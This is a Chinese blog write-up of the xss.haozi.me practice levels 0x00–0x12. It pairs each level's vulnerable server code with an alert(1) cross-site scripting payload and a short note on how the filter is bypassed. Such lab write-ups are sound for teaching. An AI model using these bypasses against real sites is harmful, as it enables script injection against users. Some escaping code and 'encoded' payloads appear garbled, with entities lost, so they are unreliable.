耗子的XSS练习
无意间看到一个XSS练习,挺好玩的,在https://xss.haozi.me/, 因为域名里有haozi,所以我就称呼它为耗子的XSS练习。
0x00
server code:
function render (input) {
return '<div>' + input + '</div>'
}
input code:
<script>alert(1)</script>
explanation: 太简单了,没啥好解释的。
0x01
server code:
function render (input) {
return '<textarea>' + input + '</textarea>'
}
input code:
</textarea><script>alert(1)</script><textarea>
explanation: 闭合标签即可
0x02
server code:
function render (input) {
return '<input type="name" value="' + input + '">'
}
input code:
"><script>alert(1)</script><a "
explanation: 闭合引号即可
0x03
server code:
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
input code:
<img src=# onerror="alert(1)">
explanation: 过滤了括号,用编码绕过
0x04
server code:
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
input code:
<img src=# onerror="alert(1)">
explanation: 过滤了括号和`,用编码绕过
0x05
server code:
function render (input) {
input = input.replace(/-->/g, '?')
return '<!-- ' + input + ' -->'
}
input code:
--!>
<script>alert(1)</script>
<!--
explanation: 过滤了常规的html注释的后半部分,反复测试后发现,在>前加!也可闭合
0x06
server code:
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
input code:
onclick
=
"alert(1)"
explanation: 过滤了auto和on开头后边有=的属性,用换行绕过正则匹配即可,需要点击输入框才可触发
0x07
server code:
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
input code:
???
explanation: 还没做出来
0x08
server code:
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
input code:
</style >
<script>alert(1);</script>
<style>
explanation: 在/style和>之间添加一个空格绕过正则匹配即可
0x09
server code:
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
input code:
https://www.segmentfault.com"></script>
<script>alert(1)</script>
<script><"
explanation: 闭合引号,自己再构建一个script即可
0x0A
server code:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
input code:
https://www.segmentfault.com.af/alert.js
explanation: 对一些特殊字符进行了转义,所以无法从引号中逃逸。但在判断域名时有纰漏,https://www.segmentfault.coma、https://www.segmentfault.com.cn这样的也被认为是正确的域名。只需注册类似segmentfault.com.af (af:阿富汗,cn已经被人注册走了)这样的域名即可。当然我并没有真的去注册,.af只是个例子。
0x0B
server code:
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
input code:
</h1><img src=# onerror="alert(1)"><h1>
explanation: 大写的ALERT不是有效的JavaScript函数,用编码绕过小写到大写的替换即可
0x0C
server code:
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
input code:
</h1><img src=# onerror="alert(1)"><h1>
explanation: 大写的ALERT不是有效的JavaScript函数,用编码绕过小写到大写的替换即可
0x0D
server code:
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
input code:
alert(1);
-->
explanation: 先利用换行绕过//注释,再用–>使后边的’)被忽略,否则会报引号没有闭合的错,代码不会执行
0x0E
server code:
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
input code:
???
explanation: 还没做出来
0x0F
server code:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
input code:
');alert('1
explanation: 虽然对很多字符进行了转义,但转义的结果仍在引号中,会被再次解释,故当做没有任何转义即可
0x10
server code:
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
input code:
1;
alert(window.data);
explanation: 没有任何防御
0x11
server code:
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
input code:
");alert("1
explanation: 转义结果仍在引号中,会被再次解释,当做没转义即可
0x12
server code:
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
input code:
\");alert(1);//
explanation: 引号前会被加上\,自己再加一个\将\转义掉即可逃逸